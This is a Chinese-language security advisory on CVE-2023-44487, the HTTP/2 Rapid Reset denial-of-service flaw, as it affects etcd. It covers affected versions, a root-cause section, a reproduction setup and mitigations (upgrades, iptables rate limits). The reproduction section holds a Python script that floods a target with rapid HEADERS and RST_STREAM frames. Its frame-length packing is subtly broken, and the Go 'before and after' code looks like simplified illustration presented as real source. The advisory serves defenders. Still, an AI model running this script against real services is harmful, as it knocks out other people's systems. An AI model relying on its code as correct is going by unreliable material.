一、漏洞简介¶
1.1 漏洞背景¶
2023年8月,Cloudflare、Google 和 AWS 共同发现了一种新型的 DDoS 攻击方式,利用 HTTP/2 协议的特性发起大规模拒绝服务攻击。该攻击被称为 "HTTP/2 Rapid Reset" 攻击,攻击峰值达到了创纪录的 3.98 亿次请求/秒。etcd 由于使用 gRPC(基于 HTTP/2)也受此漏洞影响。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2023-44487 |
| 危害等级 | HIGH / 7.5 |
| 漏洞类型 | HTTP/2 Rapid Reset DoS 攻击 |
| 披露时间 | 2023-10-10 |
| 影响组件 | etcd 安全 |
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2023-44487 |
| 危害等级 | 高危 |
| CVSS 评分 | 7.5 (High) |
| 漏洞类型 | 拒绝服务攻击 (DoS) |
| 影响范围 | 所有使用 HTTP/2 协议的服务,包括 etcd |
补充核验信息:公开时间:2023-10-10;NVD 评分:7.5(HIGH);CWE:CWE-400。
二、影响范围¶
2.1 受影响的版本¶
- etcd 3.4.x(使用 Go 1.20.10 之前的版本)
- etcd 3.5.x(使用 Go 1.20.10 之前的版本)
- etcd main 分支(使用 Go 1.21.3 之前的版本)
2.2 不受影响的版本¶
- etcd 使用 Go 1.21.3+ 或 Go 1.20.10+
- etcd 使用 gRPC-go v1.58.3+
- etcd 使用 golang.org/x/net v0.17.0+
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- etcd 服务暴露在网络中
- 攻击者能够建立 HTTP/2 连接
- 服务器资源有限(CPU、内存、连接数)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
HTTP/2 协议允许多路复用,即在一个 TCP 连接上可以并发多个请求流(Stream)。正常流程如下:
客户端 服务端
| |
|--- Stream 1: HEADERS (请求) ------------>|
|<-- Stream 1: HEADERS (响应) -------------|
|<-- Stream 1: DATA (响应数据) ------------|
|--- Stream 1: RST_STREAM (正常结束) ----->|
| |
Rapid Reset 攻击流程:
客户端 (攻击者) 服务端
| |
|--- Stream 1: HEADERS ------------------->
|--- Stream 1: RST_STREAM (立即取消) ----->|
|--- Stream 2: HEADERS ------------------->
|--- Stream 2: RST_STREAM (立即取消) ----->|
|--- Stream 3: HEADERS ------------------->
|--- Stream 3: RST_STREAM (立即取消) ----->|
| ... 快速循环数千次 ... |
| |
| [资源耗尽]
| [服务不可用]
攻击者利用 HTTP/2 的 RST_STREAM 帧特性: 1. 立即发送请求(HEADERS 帧) 2. 紧接着发送取消请求(RST_STREAM 帧) 3. 服务器已分配资源但请求被取消 4. 快速重复此过程,消耗服务器资源
3.2 源码层面的根因分析(结合源码与补丁对比)¶
Go 语言 HTTP/2 实现问题:
// golang.org/x/net/http2 之前的实现
func (sc *serverConn) processResetStream(f *RSTStreamFrame) error {
// 处理 RST_STREAM 时,没有足够的速率限制
sc.closeStream(sc.streams[f.FrameHeader.StreamID])
return nil
}
修复后的实现增加了速率限制:
// 修复后的代码
func (sc *serverConn) processResetStream(f *RSTStreamFrame) error {
// 增加速率限制检查
if sc.rateLimiter != nil && !sc.rateLimiter.Allow() {
return sc.countError("reset_rate_limited",
connectionError(ErrCodeEnhanceYourCalm))
}
sc.closeStream(sc.streams[f.FrameHeader.StreamID])
return nil
}
etcd 相关依赖版本修复:
| 组件 | 受影响版本 | 修复版本 |
|---|---|---|
| Go | < 1.21.3 / < 1.20.10 | 1.21.3 / 1.20.10 |
| golang.org/x/net | < 0.17.0 | 0.17.0 |
| google.golang.org/grpc | < 1.58.3 | 1.58.3 |
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 启动易受攻击的 etcd 版本
docker run -d --name etcd-vulnerable \
-p 2379:2379 \
gcr.io/etcd-development/etcd:v3.5.8 \
/usr/local/bin/etcd \
--listen-client-urls http://0.0.0.0:2379 \
--advertise-client-urls http://0.0.0.0:2379
4.2 PoC 演示与测试过程¶
概念验证代码(仅用于测试):
#!/usr/bin/env python3
# 仅供安全测试使用
import socket
import struct
def build_http2_frame(frame_type, flags, stream_id, payload):
"""构建 HTTP/2 帧"""
length = len(payload)
header = struct.pack('>I', length)[:3] # 3字节长度
header += bytes([frame_type, flags])
header += struct.pack('>I', stream_id)[:4] # 4字节流ID
return header + payload
def build_headers_frame(stream_id, headers_data):
"""构建 HEADERS 帧"""
return build_http2_frame(0x01, 0x04, stream_id, headers_data)
def build_rst_stream_frame(stream_id, error_code=0x00):
"""构建 RST_STREAM 帧"""
payload = struct.pack('>I', error_code)
return build_http2_frame(0x03, 0x00, stream_id, payload)
def rapid_reset_attack(target, port, num_streams=10000):
"""Rapid Reset 攻击演示"""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
# 发送 HTTP/2 连接预检
sock.sendall(b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n')
# 发送 SETTINGS 帧
settings = build_http2_frame(0x04, 0x00, 0, b'')
sock.sendall(settings)
# Rapid Reset 攻击
for i in range(num_streams):
stream_id = (i * 2) + 1 # 客户端使用奇数流ID
# 发送 HEADERS
headers = build_headers_frame(stream_id, b'\x00\x00\x00\x01')
sock.sendall(headers)
# 立即发送 RST_STREAM
rst = build_rst_stream_frame(stream_id)
sock.sendall(rst)
sock.close()
# 注意:此代码仅用于安全测试,请勿用于非法用途
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级 Go 版本:
# 升级到 Go 1.21.3 或更高版本
wget https://go.dev/dl/go1.21.3.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf go1.21.3.linux-amd64.tar.gz
升级 etcd 依赖:
# 对于 etcd 3.5.x,升级到包含修复的版本
# 参考 PR #16739, #16743, #16746
# 升级 gRPC 和 net 库
go get golang.org/x/net@v0.17.0
go get google.golang.org/grpc@v1.58.3
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:使用 DDoS 防护服务
# 部署 Cloudflare 或其他 DDoS 防护
# 在 etcd 前端部署反向代理
方案二:连接速率限制
# iptables 限制连接速率
iptables -A INPUT -p tcp --dport 2379 -m connlimit \
--connlimit-above 50 -j DROP
# 或使用 conntrack 限制
iptables -A INPUT -p tcp --dport 2379 -m conntrack \
--ctstate NEW -m recent --set
iptables -A INPUT -p tcp --dport 2379 -m conntrack \
--ctstate NEW -m recent --update --seconds 60 --hitcount 100 -j DROP
方案三:限制最大并发流
// 在 etcd 配置中添加
--max-concurrent-streams=250